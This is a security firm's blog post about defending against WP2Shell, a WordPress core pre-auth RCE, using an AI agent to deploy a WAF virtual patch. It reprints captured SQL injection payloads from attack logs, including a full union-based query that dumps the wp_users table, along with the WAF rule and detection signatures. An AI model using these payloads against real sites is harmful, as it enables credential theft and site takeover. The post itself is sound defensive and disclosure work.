Patching WP2Shell in the dark using PAI

Patching WP2Shell in the dark using PAI

Will AI let me spend my time at the beach while patching a critical vulnerability in one of the most used CMS in the world? Yes it will. We recently released PAI, our AI Security Agent that acts as a Senior Security Specialist for a wide range of security tasks. For our WAAP (Web Application & API Protection) service WP2Shell was the perfect test run. WP2Shell dropped Friday night (CEST). By Saturday morning we had a virtual patch live on every WordPress site behind our WAAP: one shared rule, about 10 minutes of work, and I did not have to leave the beach to ship it. 🏖️

The patch and the public disclosure came out together on July 17th. No plugins, no login needed, just a stock WordPress install, and technical payload details were held back on purpose to buy defenders some time. A few hours later, working exploits were already on GitHub, and we saw the first exploitation attempts on the sites we protect, while patching was still catching up everywhere.

A few things worth to mention before starting:

  • WordPress did a "forced-update" event, that is not a routine release. WordPress rarely forces updates on people, that alone tells you how serious it was.
  • "My site auto-updated so I'm fine" is a hope, not a fact. Go check the actual version on every site you own. The gap is always the sites with auto-updates disabled, or stuck on an older branch like 6.8.6.
  • Patching closes the door, it doesn't clean the house. If a site was sitting exposed before you updated it, treat it like a real incident: look for webshells, unexpected admin accounts, weird traffic to batch/v1, and rotate your secrets.

The five-minute version of WP2Shell, because you have already read it 10 times

WP2Shell is the WordPress core pre-authentication remote code execution that ate everyone's week. There are already more explainers about it than there are affected minor versions, so we will keep our contribution short and a little grumpy about having to write it at all.

WordPress core ships a REST endpoint that accepts a batch of sub-requests and runs them in a single call, on the polite assumption that each sub-request gets validated and permission-checked on its own. The batch dispatcher keeps two parallel lists while it works, one for "which handler matched this sub-request" and one for "did this sub-request pass validation". Feed it a deliberately malformed path and one list gets an entry while the other does not. From that moment the two lists are off by one, and a sub-request ends up executing under a different sub-request's validation result. That is the route confusion. Follow it far enough and you reach a WP_Query parameter that drops a string straight into SQL without sanitizing it, and the road from unauthenticated SQL injection to a shell is short and well paved. No account, no plugin, no configuration required. It got the name WP2Shell and, a day later, the identifier CVE-2026-63030. The affected versions are WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1, with the 6.8 line vulnerable to the injection but not the full chain.

That is as deep as this post is going to go on internals. If you want the beautiful full write-up with the array diagrams, other people have already drawn them, and they did a lovely job. What nobody writes up is the boring operational half: what a WAF team actually does in the hours between "there is a pre-auth RCE in WordPress core" and "our customers are covered." That half is the interesting one, mostly because it is where the mistakes live.

The timeline

There is a particular flavour of Saturday that every security team knows. It starts with a link of a blog post that has a title ending with "*2shell or *4shell" and a message in chat "urgent, are we covered?". This is the story of one of those Saturdays, and of the WordPress pre-auth RCE that caused it.

The first version of the advisory that circulated was deliberately poor of details, I guess because the researchers were giving defenders time to patch before handing attackers a working exploit. That is cool, and it is also a problem, because it means the people writing protections are doing it half-blind. All we had at first was the shape of the thing: a pre-auth RCE, no preconditions, reachable through the REST batch endpoint, with the vendor guidance being to block two URLs.

So we sent the WP2shell paper to our PAI and it has analized it, looking for similar pattern on our WAAP logs and produced a working virtual patch live across every WordPress site we protect within about a few minutes of reading that advisory. PAI also wrote an e-mail to all our customers informing them that we've added a virtual patch in production in front of their WordPress websites. That afternoon the proof of concept showed up on GitHub, which let us confirm the patch against real exploit code instead of a description. On Sunday a proper technical breakdown landed, which confirmed our endpoints.

The actions PAI chose to take were:

  • Understand the security vulnerability.
  • Search through all customer WAAP logs for the vulnerability pattern.
  • Create a global WAF rule as a virtual patch.
  • Check the logs every few minutes to look for bypasses.

The recon that arrived before the PoC did

Here is a detail from the log timeline that argues against holding technical details back. In the same log sweep that produced the virtual patch, PAI flagged an earlier hit against /wp-json/batch/v1, from 03:53 CEST that morning: hours before the PoC hit GitHub, and before our virtual patch had shipped. The request already carried an injection through author_exclude on a nested /wp/v2/users sub-request, the exact shape the vulnerability abuses. Somebody had already worked out where the sink was, from the patch alone.

None of that should be surprising. WordPress is open source. The patch that closed the hole is public. The instant that commit lands, anyone who can read a diff has enough to work backwards: the changed files, the added parameter validation, the tests that suddenly cover the "requests inside requests" case. If PAI can walk through that diff and hand us a coherent picture of the vector in a coffee break, so can any capable coding LLM. Withholding the "technical payload details" buys defenders a few hours against script kiddies who cannot read a diff, and buys everyone else exactly nothing.

Embargoes have real value for coordinated patching, and a short window before publication is worth having. But the idea that a delayed writeup keeps attackers out is comfortable, and our own log lines contradict it.

Working out what to block when you cannot see the payload

When the details are not provided by the researcher, you cannot write a signature for the payload, because you do not have the payload. What you do have is the delivery mechanism, and in this case the delivery mechanism was not a secret. Every version of the exploit, from the vaguest early advisory to the eventual PoC, funnels through the same door: a POST to the REST batch endpoint. That endpoint is reachable two ways in WordPress, as a real path at /wp-json/batch/v1 and through the query-string router as ?rest_route=/batch/v1. Both hit the same code.

This is the part that made the decision easy. The vulnerability is a route confusion inside the batch handler, which means the malicious sub-requests travel inside the body of a request to that one endpoint. You do not need to inspect the body, decode the nested sub-requests, or reason about which parameter carries the injection. If you refuse the request at the front door, the confusing sub-request never gets dispatched, the SQL never gets built, and the whole clever chain dies before its first link. Blocking the entry point is enough for this bug. It is the mitigation.

Before writing anything we asked the logs a simple question: who actually uses this endpoint. The answer across thirty days of traffic was nobody. Zero requests to the batch endpoint on any protected site. That number matters more than it looks, because it turns a scary decision into a boring one. Blocking an endpoint that legitimate users hit is a trade-off you agonize over. Blocking an endpoint that has seen zero real traffic in a month is free. The only realistic source of batch traffic is the WordPress block editor doing autosaves for a logged-in administrator, and even that had not shown up. So the risk of a false positive was about as close to nil as these things get.

The rule itself is nothing special, which is the point. It matches the request URI against both forms of the endpoint, case-insensitively, and refuses the request. We distributed it to all protected website regardless they're WordPress or not.

if REQUEST_URI regexMatch "(?i)(/wp-json/batch/v1|[?&]rest_route=/?batch/v1)"

What actually hit us, in numbers

The nicest thing about writing a patch before the exploit is fully public is that you get a clean before-and-after. Before the patch, over thirty days, the batch endpoint saw zero requests. It is a quiet, unloved corner of WordPress that almost nobody touches on purpose.

Then the patch went live, and so, eventually, did everyone else's exploit code, and the corner stopped being quiet. The first probe we saw came from a single host in Estonia walking from one customer site to the next, which is the recognizable gait of someone running a scanner against a target list. Within a day the crowd showed up. Across the days since we deployed, the rule has now stopped a lot of requests to the batch endpoint from hundred distinct source addresses, spread across 28 of our protected sites.

The geography reads like a normal mass-scanning event once a bug goes fully public. The United States led by a wide margin, which mostly means cloud providers being rented by the hour, followed by the Netherlands, a good chunk of which resolved to Tor exit nodes, Iran, Indonesia, then a long tail through Austria, Switzerland, Germany, Spain, Italy, India, Turkey, Estonia, Serbia, Taiwan and Australia. A few IPs were persistent and clearly systematic, hitting site after site in sequence. Most showed up once or twice and moved on, the signature of commodity scanning: mass, opportunistic, none of it aimed at any particular customer.

What was inside those blocked requests

Our new rule refuses the request at the URI, before the batch handler ever runs. But we deliberately keep body inspection on for blocked requests too, because this is exactly the debrief case where you want the full record. So we have a very clean picture of what those attempts were actually trying to do inside the request that never got dispatched. IPs and customer hostnames are omitted here. This is a walkthrough of the technique.

The route confusion, live in the audit log

The batch-inside-a-batch pattern that the CVE describes is well visible in the OWASP Coreruleset body-arg matches from our audit log:

json.requests.array_0.path
json.requests.array_1.body.requests.array_0.path
json.requests.array_1.body.requests.array_1.path
json.requests.array_2.body.requests.array_1.path

That array_1.body.requests.array_1.path nesting, a sub-request that carries its own batch of sub-requests, is the shape the vulnerability abuses.

The injection vector

Every payload we captured injected through the same parameter, author_exclude, on a small set of WordPress core REST routes:

/wp/v2/users?author_exclude=...
/wp/v2/posts/999999?author_exclude=...
/wp/v2/widgets?author_exclude=...

That parameter maps to WP_Query's author__not_in, which is the sink that drops a string into SQL without sanitizing it. It is the unsafe field the whole route-confusion chain exists to reach.

The four flavours of payload we saw

Boolean-based blind, the cheapest probe, a true/false pair used to confirm injection before spending effort on extraction:

/wp/v2/users?author_exclude=9999999) or (1=1)-- -
/wp/v2/users?author_exclude=9999999) and (1=2)-- -

Time-based blind, but with sleep(0). It is a marker probe: the PoC uses it to confirm the injection ran without adding real latency:

/wp/v2/users?author_exclude=0) or (select 1 from (select sleep(0))x)-- -

Union-based, short form, testing the column count:

/wp/v2/posts/999999?author_exclude=0) union select 999999,2,0x323032302d30312d30312030303a30303a3030, ... -- -

Union-based, full extraction. This is the serious one, a single request that fingerprints and dumps the WordPress users table. Raw as captured:

/wp/v2/widgets?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,
0x323032302d30312d30312030303a30303a3030,
0x323032302d30312d30312030303a30303a3030,'',
(SELECT HEX(COALESCE(JSON_ARRAYAGG(TABLE_NAME),JSON_ARRAY())) FROM (
  SELECT c.TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS c
  JOIN INFORMATION_SCHEMA.TABLES t
    ON t.TABLE_SCHEMA=c.TABLE_SCHEMA AND t.TABLE_NAME=c.TABLE_NAME
  WHERE c.TABLE_SCHEMA=DATABASE() AND t.TABLE_TYPE=0x42415345205441424c45
  GROUP BY c.TABLE_NAME
  HAVING COUNT(DISTINCT CASE WHEN c.COLUMN_NAME IN (
    0x4944,0x757365725f6c6f67696e,0x757365725f70617373,0x757365725f6e6963656e616d65,
    0x757365725f656d61696c,0x757365725f75726c,0x757365725f7265676973746572656420,
    0x757365725f61637469766174696f6e5f6b6579,0x757365725f737461747573,0x646973706c61795f6e616d65)
  THEN c.COLUMN_NAME END)=10) AS w2s_user_tables),
'',0x7075626c697368,0x636c6f736564,0x636c6f736564,'',
CONCAT(0x7732733932386632643361323137382d, ... SELECT ... FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=CONNECTION_ID() ...),
... ,0,0x706f7374,'',0 -- -&per_page=500&page=1&orderby=none&context=view&_fields=slug,title.rendered

The hex decodes to the WordPress users schema

The attacker hex-encodes strings both to slip past naive filters and to dodge quoting problems inside a nested payload. Decode the constants and you get the wp_users schema:

0x4944                                    = ID
0x757365725f6c6f67696e                    = user_login
0x757365725f70617373                      = user_pass
0x757365725f6e6963656e616d65              = user_nicename
0x757365725f656d61696c                    = user_email
0x757365725f75726c                        = user_url
0x757365725f7265676973746572656420        = user_registered
0x757365725f61637469766174696f6e5f6b6579  = user_activation_key
0x757365725f737461747573                  = user_status
0x646973706c61795f6e616d65                = display_name

The HAVING COUNT(...)=10 clause in the payload counts columns and demands exactly those ten, which is how the exploit locates wp_users regardless of the site's WordPress table prefix. Two more tokens are hidden in the same payload:

0x42415345205441424c45                    = "BASE TABLE"          (INFORMATION_SCHEMA filter)
0x323032302d30312d30312030303a30303a3030  = "2020-01-01 00:00:00" (filler for date columns in the UNION)
0x7732733932386632643361323137382d        = "w2s928f2d3a2178-"    (the PoC's output marker)

The w2s prefix is the exploit tool signing its own work so it can grep its own result out of the HTTP response. If you find that string in your logs, somebody is running the WP2Shell tool against you.

The OWASP Coreruleset chorus in the background

Our rule is what actually blocks, on the URI, before any of this ever runs. But because we leave body inspection on for exactly these cases, the whole CRS SQLi family fires against the injection string as well, an independent second opinion on what was really in the batch:

3410   Virtual Patch: WP2Shell (the block, on the URI)
932200 RCE Bypass Technique
931130 Possible Remote File Inclusion (the http:// inside the nested path)
942120 SQL Operator Detected
942140 Common DB Names Detected (INFORMATION_SCHEMA)
942150 / 942151 SQL function name detected (HEX)
942190 UNION ALL SELECT
942200 MySQL comment / backtick termination
942210 chained SQLi 1/2
942230 conditional SQLi
942260 auth bypass
942270 classic UNION SELECT
942300 / 942310 / 942330 / 942370 / 942380 classic SQLi probings
942400 / 942410 / 942430 / 942440 / 942450 / 942480 operators, comments, hex encoding, char anomaly
949110 Inbound Anomaly Score Exceeded

One line that summarises the traffic

The attack was always a POST to /wp-json/batch/v1, the payload was always a SQL injection through the author_exclude parameter of a nested /wp/v2/{users,posts,widgets} sub-request, and the goal was always to fingerprint and dump wp_users by counting its ten known columns in INFORMATION_SCHEMA.

Timeline

  • Saturday, early hours advisory reaches us. Deliberately light on detail, no PoC yet. Vendor guidance: block two URLs.
  • Saturday, within an hour of reading the advisory PAI done a virtual patch v1 (id:3410, deny,status:403) live on the entire service.
  • Saturday afternoon PoC lands on GitHub. PAI read its HTTP layer and confirm the rule against real exploit code.
  • Sunday full technical breakdown and CVE-2026-63030 published. PAI test the encoded variant ?rest_route=%2Fbatch%2Fv1: the gateway normalizes the URI before the rule sees it, still blocked.
  • Sunday, same day v2 ships with ctl:ruleEngine=On to prevent protected site not in blocking mode yet to receive the payload. The rule now self-enforces regardless of per-site posture, without touching any other rule on those sites. Replays return a clean 403 with no upstream latency.